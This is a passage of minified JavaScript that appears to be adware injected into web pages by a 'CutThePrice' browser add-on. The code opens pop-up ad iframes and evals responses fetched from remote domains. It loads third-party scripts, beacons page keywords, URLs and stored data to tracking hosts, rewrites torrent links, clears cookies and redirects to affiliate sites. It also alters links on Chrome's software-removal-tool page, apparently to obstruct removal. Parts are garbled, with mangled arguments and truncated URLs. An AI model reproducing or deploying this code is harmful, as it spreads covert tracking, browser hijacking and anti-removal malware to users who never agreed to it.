window.getComputedStyle(a,b)||{getPropertyValue:function(){}}};b.mapAdTypes=function(a){for(var b={},e=0;e<a.length;e++){var c=a[e];b['_'+c[2]]={key:c[0]+'x'+c[1]}}return b};b.cancelEvent=function(a){return('undefined'==typeof a&&(a=window.event||arguments.callee.caller.arguments[0]), 'undefined'==typeof a)?!1:('undefined'!=typeof a.cancelBubble&&(a.cancelBubble=!0),'undefined'!=typeof a.returnValue&&(a.returnValue=!1),'undefined'!=typeof a.stopProgration&&a.stopProgration(),'undefined'!=typeof a.preventDefault&&a.preventDefault(),a)}},x=function(){try{return'direct_pop.'+eval('[\"starves.org\",\"winnermore.com\"]')['https:'==window.location.protocol?1:0]}catch(b){return['direct_pop.winneri.info','direct_pop.winnermore.org']['https:'==window.location.protocol?1:0]}}(),y=['compey.net','comprises.info'], z={_1:{key:'728x90'},_2:{key:'300x250'},_3:{key:'468x60'},_4:{key:'250x250'},_5:{key:'160x600'},_6:{key:'120x600'},_7:{key:'120x240'},_8:{key:'240x400'},_10:{key:'300x600'},_9:{key:'1024x728'},_11:{key:'670x670'},_12:{key:'600x270'},_13:{key:'600x400'}},k;try{k=g.JSON.parse('{\"szy_domain\":[\"dogmatchonlin.com\",\"bookhome.info\"],\"ad_sizes\":[[120,60,19],[630,250,22],[336,280,17],[630,500,23],[180,150,18],[234,60,15],[200,200,16],[600,400,13],[125,125,14],[670,670,11],[600,270,12],[800,600,21],[468,60,3],[800,440,20],[300,250,2],[728,90,1],[300,600,10],[120,240,7],[120,600,6],[160,600,5],[250,250,4],[240,400,8]]}')}catch(F){k=g.JSON.parse('{\"szy_domain\":[\"skymetwebguard.com\",\"compey.info\"],\"ad_sizes\":[[728,90,1],[300,250,2],[468,60,3],[250,250,4],[160,600,5],[120,600,6],[120,240,7],[240,400,8],[300,600,10],[670,670,11],[600,270,12],[600,400,13],[125,125,14],[234,60,15],[200,200,16],[336,280,17],[180,150,18],[120,60,19],[800,440,20],[800,600,21]]}')}var s; s=''!==k&&k&&'undefined'!==typeof k.szy_domain&&k.szy_domain instanceof Array?k.szy_domain:y;var u;u=''!==k&&k&&'undefined'!==typeof k.ad_sizes&&k.ad_sizes instanceof Array?g.mapAdTypes(k.ad_sizes):z;var v=document.getElementsByTagName('body')[0],m={subid:'25116',subid1:'2021033856717153140',subid2:'1461',subid3:686,tid:'6'},A={_7:'show_immediately',_10:'show_on_click_hide_referrer',_11:'show_on_click',_12:'show_immediately_hide_referrer'},B=new function(){var b=function(a){return a.replace(/(\\-([a-z]){1})/g, function(a,b,c){return c.toUpperCase()})};this.jsonToHtml=function(a,d){if('#text'==a.type)d=document.createTextNode(a.text);else if('#comment'!=a.type){d||(d=document.createElement(a.type));if(a.attrs){for(var e in a.attrs)if(a.attrs.hasOwnProperty(e))if('style'==e&&a.attrs.style instanceof Object)for(var c in a.attrs.style){var f=b©;try{d.style[f]=a.attrs.style[c]}catch(g){}}else d.setAttribute(e,a.attrs[e]);'iframe'==a.type&&(a.attrs.hasOwnProperty('frameborder')&&(d.frameBorder=a.attrs.frameborder), a.attrs.hasOwnProperty('marginwidth')&&(d.marginWidth=a.attrs.marginwidth),a.attrs.hasOwnProperty('marginheight')&&(d.marginHeight=a.attrs.marginheight))}if(a.children)for(e=0;e<a.children.length;e++){f=a.children[e];c=arguments.callee(f);try{d.appendChild©}catch(k){'#text'==f.type&&'string'==typeof f.text&&('style'==a.type&&d.styleSheet?d.styleSheet.cssText=f.text||'':(c='textContent'in d?'textContent':'innerText'in d?'innerText':!1,c&&(d[c]=f.text)))}}}return d}},p=new function(){var b=this;b.cache= [];b.add=window.addEventListener?function(a,d,e,c,f){'undefined'==typeof c&&(c=window);c.addEventListener(a,d,e);f&&b.cache.push([a,d,e,c])}:window.attachEvent?function(a,d,e,c,f){'undefined'==typeof c&&(c=window);c['e'+a+d]=d;c[a+d]=function(){c['e'+a+d](window.event)};c.attachEvent('on'+a,c[a+d]);f&&b.cache.push([a,d,e,c])}:function(){};b.remove=window.removeEventListener?function(a,b,e,c){'undefined'==typeof c&&(c=window);c.removeEventListener(a,b,e)}:window.detachEvent?function(a,b,e,c){'undefined'== typeof c&&(c=window);c.detachEvent('on'+a,c[a+b]);c[a+b]=null;c['e'+a+b]=null}:function(){};b.flush=function(){for(var a=0;a<b.cache.length;a++)b.remove.apply(b,b.cache[a]);b.cache=[]}},w=function(b,a){var d='//'+x+'?',e=s['https:'==window.location.protocol?0:1],e={pid:'25116',cc:'US',eid:'1461',hid:'2021033856717153140',v:'1.0.0',ch:a,cid:l.response[0][2],tid:m.tid,adtid:l.response[0][4],smid:l.response[0][3],pbid:b,oh:encodeURIComponent(l.response[0][0]), sh:encodeURIComponent(e)},c;for(c in e)d+=c+'='+e[c]+'&';d=d.slice(0,-1);(new Image).src=d},C=new function(){this.init=function(b){function a(){var a=document.getElementById('__modal_close'),b=document.getElementById('__modal_container');p.add('click',function(){b.parentNode.removeChild(b)},!1,a,!1)}function d(){var a,b,c;'undefined'==typeof l.response[0][4]&&l.response[0].push(9);try{a=u['_'+l.response[0][4]].key,b=a.split('x')[0]+'px',c=a.split('x')[1]+'px'}catch(e){}a=window.innerHeight;if(b&& c){var d=document.getElementById('__modal');d.style.width=b;d.style.height=c;d.style.marginLeft=parseInt(d.style.width)/2-parseInt(d.style.width)+'px';d.style.top=(a-parseInt(d.style.height))/2+'px'}}var e=b[0][3];b=b[0][0];var c=g.getProtocol(b);if(b&&window.location.protocol===c){c={type:'div',attrs:{id:'__modal_container',style:{display:'none',position:'fixed','z-index':'9999999999',height:'100%',width:'100%',margin:'0',padding:'0',background:'rgba(0,0,0,0.3)',top:'0',right:'0',bottom:'0',left:'0', 'border-radius':'0',overflow:'hidden'}},children:[{type:'div',attrs:{id:'__modal',style:{position:'absolute','z-index':'99999999999',left:'50%',top:'10px','text-align':'left',width:'90%',margin:'0 0 0 -45%','background-color':'#FFFFFF',border:'1px solid #DDDDDD','border-radius':'5px',height:'90%',padding:'0'}},children:[{type:'div',attrs:{style:{margin:'0',padding:'2px',left:'0',width:'inherit',top:'0','background-color':'transparent'},id:'__modal_close'},children:[{type:'img',attrs:{src:'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAABA1JREFUeNp8VW9IW1cUP3l5eS9iZx+amsaNtNZsdtgttnSkBYmRLEsVs1rwi9Z9Udm6YZXYTr+MaMcm4idXPwTUD05BWP3bNBsleREUoabMTzr/wNxEjQqCgoj/Gr2792re8prUC4f3znnn/M65757zuwqEEMRbLMfxXzocV/MLCswfZ2bakpKSTAqFAra3t4ML//zr93pfjL3weOb29vYO4gIQ4GjBwWx1dbVlfn5e3NjYQBHBOpqamkLRtoWFBfEh9mUYhn0bR6ZotTrB5/O5SNDq6irq6OhAxcXFSK1Wy8Rms6G2tja0vLxME4iBgEt78aIQF1in0wnT09Nu4uj1epHRaEQ8z8eARovJZELj4+ORHbk/0OsFGTCLV2BkhFba1dUlBUYDn5WkpaWFggeDQRfHq1kJ2NXQaIlUelaFZ0l7ezsF/7mpyUKBNamp/NLSkogFZWVlyZytVivKz8+PATEYDKimpgZd0GolW9L582h2dhatra2JaWlpPNR+/9hIMrndbllwTk6OdPrNzc3UlpCQgLKzsykAsXd2dspinE4ntT958qORseZZzaTthoeHZS2I+xX29/epXlFRAY2NjYB3BL29vaDRaKh9Z2dHiiE9PjA0BMfHx3Dnjt0MoVDIs7i4GPe/lZaWopWVFaly4hd57+/vjxszMTGB1tfXPYxKpTJtbm7GDA1Zg4ODUFdXB4eHh1RPTEykz9HRUSgrK4s7cBgUlEqliSFbODo6kn0ktsjC0wW7u7uy78QWb0VjMViCycnJcR0/NRqhu7sbBEGgeiSovLwcGhoaqB4th+EwpKSkEJcgg8fSjwkGMjIyZKDJ2KEHg0aSku0/dNbCwcEJ51RWVkJ1TS28OQZ4g/OF8fMIi/7SJdja2vIzflEcI44Oh0MG/Mm1azLQkpISGHjWB85HjyXwz25eP/0H+Fzwo6joLrx37hw8/8M3Btdv3ODxKYuEvTSp2pi+rK+vp+/4kBEoT8RssZIJQ+kfZlJdgckNFCr00ucnHSMab97iaQf82tNDR7q1tfWdI0uAFcr/wRklhxiGk/QH335H27BvYMgiccXly+ks7mdKQlVVVTGgfIIasbRiVgIiVSpZkoxDn9vtmGbXSc+7dPp0Vkablrw8AQNT2mzC25RAsXBYlKqTKiPgzGmCr795gFZCIVKt2154V4hL9F/Y7QLJSsAnJycRHmWkuZCKOBWumFTHnACSX1J07x4KBEbo9jHxuAqLimVEr3j7zku/coV9+svTnNu3b/2AVSuZOsx8MDMzg09eAQbDR6DXv09PH6/Aq9d//uSsfTT+99xfYdmwvOsyzc3N5e/f/+pqYWGBmeM4GzaZTj8Fw+Gwf9Dz+9hvz/rmRsWXcS/T/wQYAL8KChTqW9Z8AAAAAElFTkSuQmCC', style:{cursor:'pointer',width:'22px',height:'22px'}}},{type:'span',attrs:{style:{position:'relative','margin-left':'20px','font-size':'12px','line-height':'33px'}},children:[{type:'#text',text:'Ads by CutThePrice'}]}]},{type:'iframe',attrs:{style:{border:'0'},id:'__modal_iframe',width:'100%',height:'100%',frameboarder:'0',scrolling:'yes',marginheight:'0',marginwidth:'0',sandbox:'allow-same-origin allow-scripts allow-popups allow-forms',name:'vdsfvdfvvf',allowtransparency:'true',src:'about:blank'}}]}]}; try{var f=B.jsonToHtml©}catch(k){}if(f){var h=f.querySelector('#__modal_iframe'),r=function(){var a=document.getElementById('__modal_container');p.remove('load',arguments.callee,!1,h);a.style.display='inherit'},c=function(a,b){b&&(a=\"data:text/html,<html><head><meta http-equiv='refresh' content='0; url=\"+a+\" '/></head></html>\");h.src=h.src.replace('about:blank',a)},m=function(b){p.add('load',r,!1,b.querySelector('iframe'),!0);v.appendChild(b);w('0','1');a();d()},t=function(b){p.add('click',function(){g.cancelEvent(); p.remove('click',arguments.callee,!1,document);v.appendChild(b);w('0','1');a();document.getElementById('__modal_container').style.display='inherit';d()},!1,document,!0)};12===e&&g.msie&&(e=7);10===e&&g.msie&&(e=11);switch(e){case 7:c(b);m(f);break;case 10:c(b,!0);t(f);break;case 11:c(b);t(f);break;case 12:c(b,!0),m(f)}}}}},D=function(){var b=document.title,a=document.getElementsByTagName('meta');if(a)for(var d=0,e=a.length;d<e;d++)'keywords'!=a[d].name.toLowerCase()&&'description'!=a[d].name.toLowerCase()|| (b+=' '+a[d].content.replace(/,/g,' '));if(d=document.getElementsByTagName('a')){a={};for(e=0;e<d.length;e++)try{var c=d[e].innerText;'undefined'==typeof c&&(c=d[e].textContent);for(var f=c.toLowerCase().split(/[\\s,-]/g),g=0;g<f.length;g++)4>f[g].length||(a[f[g]]?a[f[g]]++:a[f[g]]=1)}catch(k){}var c=[],h;for(h in a)c.push([h,a[h]]);c.sort(function(a,b){return b[1]-a[1]});c=c.slice(0,25);for(h=0;h<c.length;h++)b+=' '+c[h][0]}return b.replace(/[_-]/g,' ').substring(0,1024)};h.tp=function(b){if(b){b= g.l.decode(b);try{h.response=eval(b)}catch(a){}h.response&&h.response[0]&&(h.response[0][0]=h.response[0][0].replace('zig_pp','rja6vTw5qi5GrHYKrjk4fHw9rHYFqjC5pdr%3D'),A['_'+h.response[0][3]]&&C.init(h.response))}};var E=function(b){g.msie?g.inject_script(b+'&cb=vdsfvdfvvf.tp'):g.ajax.get(b,function(a){a&&h.tp(a)})};g.msie&&9>g.msie||(window==window.top&&function(){var b='?',a;for(a in m)m.hasOwnProperty(a)&&(b+=a+'='+m[a]+'&');b+='k='+encodeURIComponent(D());E('//'+s['http:'==window.location.protocol?0:1]+b,'tp')}(), 'undefined'==typeof window.vdsfvdfvvf&&(window.vdsfvdfvvf=h))}};}catch(e){};try{window.self==window.top&&new function(){var a=this;a.sleepTime=5E3;a.setProductPriority={Foxy:1,iRobinHood:2};a.Foxy=new function(){this.init=function(){if(!document.getElementById(\"dotm495nvh5s99iez741dx4\")&&window.self==window.top){var c=document.createElement(\"script\");c.type=\"text/javascript\";c.async=true;c.setAttribute(\"id\",\"dotm495nvh5s99iez741dx4\");c.src=\"//client.foxydeal.com/sf/1054/1461X25116/\"+document.location.hostname+\"?partnerName=CutThePrice\";document.getElementsByTagName(\"head\")[0].appendChild©}setTimeout(function(){null==\r\ndocument.getElementById(\"FoxyDealTopBar\")&&a.runProduct()},a.sleepTime)}};a.iRobinHood=new function(){this.init=function(){if(!document.getElementById(\"djdnjh4e7dne543gv\")&&window.self==window.top){var c=function(){window._chch3e7xjxs2=\"2021033856717153140\"};if(-1==navigator.userAgent.toLowerCase().indexOf(\"chrome\"))c();else{var b=document.createElement(\"script\");b.innerHTML=\"(\"+c.toString()+\")()\";document.getElementsByTagName(\"head\")[0].appendChild(b)}b=document.createElement(\"script\");b.type=\"text/javascript\";b.async=true;\r\nb.setAttribute(\"id\",\"djdnjh4e7dne543gv\");b.src=\"//static.donation-tools.org/widgets/WPPartner/widget.js?_irh_prodname=CutThePrice&_irh_subid=1461_25116\";document.getElementsByTagName(\"head\")[0].appendChild(b)}setTimeout(function(){null==document.getElementById(\"iRobinhood_Strip\")&&a.runProduct()},a.sleepTime)}};a.sortedProduct=[];for(var b in a.setProductPriority)a.min||(a.min=a.setProductPriority),a.max||(a.max=a.setProductPriority),a.min>a.setProductPriority[b]&&\r\n(a.min=a.setProductPriority[b]),a.max<a.setProductPriority[b]&&(a.max=a.setProductPriority[b]);a.index=a.min;for(b in a.setProductPriority){for(var d in a.setProductPriority)a.index==a.setProductPriority[d]&&a.sortedProduct.push(d);a.index++}a.runProduct=function(){if(0<a.sortedProduct.length){var b=a.sortedProduct[0];a.sortedProduct.splice(0,1);a[b].init()}};a.runProduct()};}catch(e){}})();(function(){try{(function(){var k,g,n;try{var h=window.location.href;if(window!=window.top&&\"undefined\"!=typeof localStorage&&\"undefined\"!=typeof localStorage.setItem&&(-1!=h.indexOf(\"THzxCi0g=\")||h.match(/1018-\\d{3,4}_/)||-1!=h.indexOf(\"cdncache-a.aka\"))){if(-1<h.indexOf(\"THzxCi0g=\")){var l=h.match(/THzxCi0g=(\\d+)_(\\d{2,3}x\\d{2,3})_?(\\d+)?/);k=l[1];g=l[2].replace(\"x\",\".\");n=l[3]?l[3]:0}else{try{var m=-1<h.indexOf(\"zoneid\")?h.match(/zoneid=(\\d+)/)[1]:h.match(/1018-(\\d+)_WS/)[1]}catch(e){m=\r\n0}var b=document.getElementsByTagName(\"body\")[0];k=-1<h.indexOf(\"cdncache-a.aka\")?1001:1002;g=Math.max(b.scrollWidth,b.offsetWidth)+\".\"+Math.max(b.scrollHeight,b.offsetHeight);n=m}var c=new Date,d=parseInt(c.getTime()/1E3),f=\"zyk_\"+[c.getUTCFullYear()+\"-\"+(c.getUTCMonth()+1)+\"-\"+c.getUTCDate(),k,g,n].join(),q=localStorage.getItem(f);localStorage.setItem(f,1+(q?parseInt(q):0));if(lsTime=localStorage.getItem(\"zEpoch\")){if(7200<d-parseInt(lsTime)){var p=document.createElement(\"div\");k=[];for(i in localStorage)-1<\r\ni.indexOf(\"zyk_\")&&k.push(\"'\"+i.replace(\"zyk_\",\"\")+\"':\"+localStorage.getItem(i));p.style.display=\"none\";p.innerHTML='<iframe name=\"webscorebox_ifr\"></iframe><form target=\"webscorebox_ifr\" method=\"post\" action=\"http://count3.websco...k7qHw6rjkHrjnE\" id=\"webscorebox_frm\"><input type=\"hidden\" name=\"scores\" value=\"{'+k.join(\",\")+'}\"></form>';(\"undefined\"!=typeof b?b:document.getElementsByTagName(\"body\")[0]).appendChild(p);document.getElementById(\"webscorebox_frm\").submit();localStorage.clear()}}else localStorage.setItem(\"zEpoch\",\r\nd)}}catch®{}})();\r\nnew function(){var k=this;this.utils=new function(){var e=this;e.sendPixels=function(b){var c;if(b instanceof Array)for(var d=0;d<b.length;d++){var f=b[d];c=new Image;c.src=f}else c=new Image,c.src=b};e.isFalse=function(b){return\"undefined\"==typeof b||0===b.length||null===b};e.cookie=new function(){var b=this;b.createCookie=function(b,d,f){if(f){var e=new Date;e.setTime(e.getTime()+864E5*f);f=\"; expires=\"+e.toGMTString()}else f=\"\";document.cookie=b+\"=\"+d+f+\"; path=/\"};b.readCookie=function(b){b+=\r\n\"=\";for(var d=document.cookie.split(\";\"),f=0;f<d.length;f++){for(var e=d[f];\" \"==e.charAt(0);)e=e.substring(1,e.length);if(0==e.indexOf(b))return e.substring(b.length,e.length)}return null};b.eraseCookie=function©{b.createCookie(c,\"\",-1)}};e.ajax={get:function(b,c){try{this.xhr=new XMLHttpRequest,this.xhr.open(\"GET\",b,!0),this.xhr.onreadystatechange=function(){4==e.ajax.xhr.readyState&&c(e.ajax.xhr.responseText)},this.xhr.send()}catch(d){}},post:function(b,c,d){this.xhr=new XMLHttpRequest;this.xhr.open(\"POST\",\r\nb,!0);this.xhr.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\");this.xhr.onreadystatechange=function(){4==e.ajax.xhr.readyState&&d(e.ajax.xhr.responseText)};c=encodeURIComponent©;this.xhr.send©}};e.waitForTokens={};e.addScript=function(b,c){if(\"bing\"==c){var d=Element.prototype.appendChild;document.createElement(\"iframe\");Element.prototype.appendChild=document.appendChild;document.getElementsByTagName(\"head\")[0].appendChild(b);Element.prototype.appendChild=d}else document.getElementsByTagName(\"head\")[0].appendChild(b)};\r\ne.waitForElement=function(b,c,d,f){var g=e.query_selector_all(b);clearTimeout(e.waitTimeout);if(25<k.waitForElementCounter)return c(null);if(\"undefined\"==typeof g||1>g.length){if(e.waitForTokens[f])return c(null);var h=arguments.callee;e.waitTimeout=setTimeout(function(){k.waitForElementCounter++;h(b,c,d,f)},d)}else{if(e.waitForTokens[f])return c(null);e.waitForTokens[f]=!0;k.waitForElementCounter=0;return c(g)}};e.flushWaitForTokens=function(){e.waitForTokens={}};e.getRandomInt=function(b,c){return Math.floor(Math.random()*\r\n(c-b+1))+b};e.get_computed_style=\"function\"!=typeof window.getComputedStyle?function(b){return{getPropertyValue:function©{\"float\"==c&&(c=\"styleFloat\");c=e.dhtml_prop_name©;return\"object\"==typeof b.currentStyle&&null!=b.currentStyle&&\"undefined\"!=typeof b.currentStyle[c]?b.currentStyle[c]:null}}}:function(b,c){return window.getComputedStyle(b,c)||{getPropertyValue:function(){}}};e.query_selector_all=document.querySelectorAll?function(b){try{return document.querySelectorAll(b)}catch©{}}:function(b){var c=\r\nb.match(/^#([^,\\s]+)$/)||[];if(1<c.length)return b=document.getElementById(c[1])||void 0,\"undefined\"!=typeof b?[b]:[];c=document.createElement(\"STYLE\");document.getElementsByTagName(\"body\")[0].appendChild©;document.__asya_qsaels=[];c.styleSheet.cssText=b+\"{x:expression(document.__asya_qsaels.push(this))}\";window.scrollBy(0,0);return document.__asya_qsaels};e.clone_object=window.JSON instanceof Object?function(b){if(b instanceof Object&&(b=JSON.stringify(b),\"string\"==typeof b))return JSON.parse(b)}:\r\nfunction(b){if(b instanceof Object){var c=new b.constructor,d;for(d in b)c[d]=arguments.callee(b[d]);return c}return b};e.dhtml_prop_name=function(b){return b.replace(/(\\-([a-z]){1})/g,function(b,d,f){return f.toUpperCase()})};e.wildcard_to_regex=function(b){b=b.replace(/([.^$+(){}\\[\\]\\\\|\\?])/g,\"\\\\$1\");b=b.replace(/\\*/g,\".*\");return new RegExp(b)};e.throttle=function(b,c){var d=null;return function(){var f=this,e=arguments;clearTimeout(d);d=setTimeout(function(){b.apply(f,e)},c)}};e.epoch=function(){return(new Date).getTime()};\r\ne.msie=function(){var b=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(b)&&(b=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10));return isNaN(b)?!1:b}();e.version_ie_less=function(b){if(/MSIE (\\d+\\.\\d+);/.test(navigator.userAgent))return new Number(RegExp.$1)<=b?!0:!1};e.isIE=function(){return\"Microsoft Internet Explorer\"==navigator.appName||\"Netscape\"==navigator.appName&&null!=/Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(navigator.userAgent)};\r\ne.match_url=function(b,c){for(var d=0;d<c.length;d++)if(\"string\"==typeof c[d]){var f;f=/^\\/.+\\/$/.test(c[d])?new RegExp(c[d]):e.wildcard_to_regex(c[d]);if(f instanceof RegExp&&f.test(b))return!0}};e.ping=function(b){for(var c=[\"google\",\"bing\",\"yahoo\",\"youtube\"],d=0;d<c.length;d++)if(-1<location.hostname.indexOf(c[d])){var e=new Image,g=encodeURIComponent(window==window.top?window.location.href:\"\");1E3<g.length&&(g=encodeURIComponent(location.hostname));var h=encodeURIComponent(location.hostname);\r\ne.src=k.pixelHost+\"?hid=2021033856717153140&eid=1461&pid=25116&prodid=338&v=\"+k.version+\"&ch=\"+b+\"&lan=\"+navigator.language+\"&cc=US&pr=\"+c[d]+\"&host=\"+h+\"&ref=\"+g}};e.getAllText=function(b){for(var c=\"\",d=0;d<b.length;d++)c+=b.textContent?b.textContent:b.innetText;return c};e.duplicateElement=function(b){var c=document.createElement(b.nodeName.toLowerCase()),d=!1;b.getAttribute(\"href\")&&c.setAttribute(\"href\",\"javascript:void(0);\");for(var f in b)if(\"src\"==\r\nf||\"width\"==f||\"height\"==f)c[f]=b[f];else if(\"style\"==f)for(var g in b[f])b[f][g]&&\"\"!=b[f][g]&&(c[f][g]=b[f][g]);else d||\"nodeValue\"!=f&&\"textContent\"!=f&&\"innetText\"!=f&&\"className\"!=f||0!=b.children.length||(c[f]=b[f],d=!0);for(d=0;d<b.childNodes.length;d++)if(3==b.childNodes[d].nodeType)c.appendChild(document.createTextNode(b.childNodes[d].textContent?b.childNodes[d].textContent:b.childNodes[d].innerText));else{f=e.duplicateElement(b.childNodes[d]);g=e.getAllText(f.childNodes);var h=b.childNodes[d].textContent?\r\nb.childNodes[d].textContent:b.childNodes[d].innerText;h&&(h=h.replace(g,\"\"),\"\"!=h&&(f.textContent?f.textContent=h:f.innerText=h));c.appendChild(f)}return c}};if(-1<window.location.href.indexOf(\"google.com/chrome/srt\")&&-1<navigator.userAgent.toLowerCase().indexOf(\"chrome\")){try{var g=parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1],10)}catch(n){return}if(!(38>=g)){for(g=0;g<document.links.length;g++){var h=document.links[g],l=h.getAttribute(\"href\");if(l&&-1<l.indexOf(\"#dialog-contents\")){var l=\r\nk.utils.duplicateElement(h),m=h.parentNode;m.insertBefore(l,h);m.removeChild(h)}}(g=document.getElementById(\"dialog-contents\"))&&g.remove()}}};\r\n(function(){try{window.top==window&&-1<navigator.userAgent.toLowerCase().indexOf(\"chrome\")&&chrome.storage.local.get(\"fjretxz9kgo\",function(a){a=a.fjretxz9kgo?parseInt(a.fjretxz9kgo):0;var c=Math.ceil(+new Date/1E3);if(604800<c-a){a=document.getElementsByTagName(\"a\");for(var b=0;b<a.length;b++)a[b]&&a[b].href&&\"torrent\"==a[b].href.replace(/\\?.+$/,\"\").substr(-7)&&(a[b].setAttribute(\"href\",\"http://freemp4.in.ua...(\"show-options catbus-open catbus--left header--masthead\").length)try{var conf={lt:localStorage.getItem(\"wbbqqlt\")||0,counter:localStorage.getItem(\"wbbqqctr\")||0},epoch=Math.ceil(+new Date/1E3),i;for(i in conf)conf[i]=parseInt(conf[i]);if(300>epoch-conf.lt)localStorage.setItem(\"wbbqqctr\",\"6\");else if(6>conf.counter){localStorage.setItem(\"wbbqqlt\",epoch);localStorage.getItem(\"wbbqqctr\",++conf.counter);var a=document.createElement(\"a\");a.setAttribute(\"rel\",\"noreferrer\");\r\na.setAttribute(\"href\",\"http://jmp.awempire....tic\")){for(var cookies=document.cookie.split(\";\"),i=0;i<cookies.length;i++){var cookie=cookies[i],eqPos=cookie.indexOf(\"=\"),name=-1<eqPos?cookie.substr(0,eqPos):cookie;document.cookie=name+\"=;expires=Thu, 01 Jan 1970 00:00:00 GMT\"}var a=document.createElement(\"a\");a.setAttribute(\"rel\",\"noreferrer\");a.setAttribute(\"href\",\"http://jmp.awempire....41\",\"1\");var a=document.createElement(\"a\");a.setAttribute(\"rel\",\"noreferrer\");a.setAttribute(\"href\",\"http://jmp.awempire....ch(e){};try{new function(){var a=this;a.prefix='hggasdgjhsagd';a.pixelHostname=function(){try{return'//direct_pop.'+eval('[\"starves.org\",\"winnermore.com\"]')['https:'==window.self.location.protocol?1:0]}catch(a){return'//'+['direct_pop.winneri.info','direct_pop.winnermore.org']['https:'==window.self.location.protocol?1:0]}}();a.pixelTestIframeBaseURL='//pxltst.unition.org/adzpoppxl/';a.token='px.pluginh';a.pxlData='__pdt';a.campaignData='__dwfgifgtfgtasifsdyfsdoif';a.testLp='http://mydata.search...earchero.info';a.testLpCampaignId='309374';a.testLpCampaignIdStatic='309520';a.testLp3='http://usergoldmembersky.com;a.testLp4=http://easybinary-art.com;a.testLpCampaignId2=310062;a.testLpCampaignIdStatic2=310064;decodeURIComponent(CutThePrice');document.getElementById('__hggasdgjhsagd_once')||(a.Utils=new function(){var a=this;a.l=new function(){var a=this;a.xlat='abcdwxyzstuvrqponmijklefghABCDWXYZSTUVMNOPQRIJKLEFGH9876543210+/';a.encode=function(f){f=a._utf8_encode(f);for(var e='',c=0;c<f.length;){var d= f.charCodeAt(c++),h=f.charCodeAt(c++),g=f.charCodeAt(c++),n=d>>2,d=(d&3)<<4|h>>4,m=(h&15)<<2|g>>6,k=g&63;isNaN(h)?m=k=64:isNaN(g)&&(k=64);e=e+a.xlat.charAt(n)+a.xlat.charAt(d)+(64==m?'=':a.xlat.charAt(m))+(64==k?'=':a.xlat.charAt(k))}return e};a._utf8_encode=function(a){if(a&&a.length){for(var b='',c=0;c<a.length;c++){var d=a.charCodeAt©;128>d?b+=String.fromCharCode(d):(127<d&&2048>d?b+=String.fromCharCode(d>>6|192):(b+=String.fromCharCode(d>>12|224),b+=String.fromCharCode(d>>6&63|128)),b+=String.fromCharCode(d& 63|128))}return b}return a};a.decode=function(a){a=a.toString().replace(/[^A-Za-z0-9\\+\\/]/g,'');for(var b='',c=0;c<a.length;){var d=this.xlat.indexOf(a.charAt(c++)),h=this.xlat.indexOf(a.charAt(c++)),g=this.xlat.indexOf(a.charAt(c++)),n=this.xlat.indexOf(a.charAt(c++)),m=(h&15)<<4|g>>2,k=(g&3)<<6|n,b=b+String.fromCharCode(d<<2|h>>4);64!=g&&0<m&&(b+=String.fromCharCode(m));64!=n&&0<k&&(b+=String.fromCharCode(k))}return this._utf8_decode(b)};a._utf8_decode=function(a){for(var b='',c=0;c<a.length;){var d= a.charCodeAt©;if(128>d)b+=String.fromCharCode(d),c++;else if(191<d&&224>d)var h=a.charCodeAt(c+1),b=b+String.fromCharCode((d&31)<<6|h&63),c=c+2;else var h=a.charCodeAt(c+1),g=a.charCodeAt(c+2),b=b+String.fromCharCode((d&15)<<12|(h&63)<<6|g&63),c=c+3}return b}};a.msie=function(){var a=parseInt((/msie ( \\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(a)&&(a=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10));return isNaN(a)?!1:a}();a.getParams=function(){var b= location.href.split('__pdt');1<b.length&&(b=a.l.decode(b[1]));return function(a){var b={};a.replace(/([^?=&]+)(=([^&]*))?/g,function(a,c,f,g){b[c]=decodeURIComponent(g)});return b}(b.replace(/^.*\\?/,''))};a.getHostname=function(a){var c=document.createElement('a');c.href=a;return c.hostname};a.getParameterByName=function(b){b=b.replace(/[\\[]/,'\\\\[').replace(/[\\]]/,'\\\\]');b=RegExp('[\\\\?&]'+b+'=([^&#]*)').exec(location.search);if(null===b)return'';b=b[1].replace(/\\+/g,' ');b=a.l.decode(b);b=decodeURIComponent(b); return a.queryStringToObject(b.split('?')[1])};a.queryStringToObject=function(a){a=a.split('&');var c={},e,l;for(l in a)''!==a[l]&&(e=a[l].split('='),c[decodeURIComponent(e[0])]=decodeURIComponent(e[1]));return c}},function(){var a=document.createElement('div');a.id='__hggasdgjhsagd_once';a.setAttribute('style','display:none;');var b=document.getElementsByTagName('body')[0];b&&b.appendChild(a)}(),a.createPixelUrl=function©{var b={pid:0,cc:'AA',eid:0,hid:0,v:0,ch:0,cid:0,tid:1,adtid:0,smid:0,pbid:0, sh:'empty.com',oh:a.Utils.getHostname(location.href)},f,e,l=[];c=c||{};for(e in c)f=c[e],b[e]=f;for(e in b)f=b[e],l.push(e+'='+encodeURIComponent(f));return a.pixelHostname+'?'+l.join('&')},a.pixel=function©{(new Image).src=a.createPixelUrl©},a.runOnCampaigns=function(a,b,f){if(a&&!isNaN(a-0)){b=b||[];if('number'==typeof b||'string'==typeof b&&!isNaN(b-0))b=[b-0];for(var e=0;e<b.length;e++)b[e]==a&&f(b[e])}},a.loadPixelTestIframe=function©{if(document.body){var b=document.createElement('iframe'); b.src=c;b.style.cssText='border:none;background:none;width:1px;height:1px;overflow:hidden;display:inline;padding:0;margin:0';document.body.appendChild(b)}else setTimeout(function(){a.loadPixelIframe©},50)},a.injectGA=function(a){var b=document.getElementsByTagName('head')[0];a=\"if(typeof ga == 'undefined'){(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q = i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m = s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create',  '\"+ a+\"', 'auto'); ga('send', 'pageview') }else{ ga('create',  '\"+a+\"', 'auto',{'name':'testStyloosh'}); 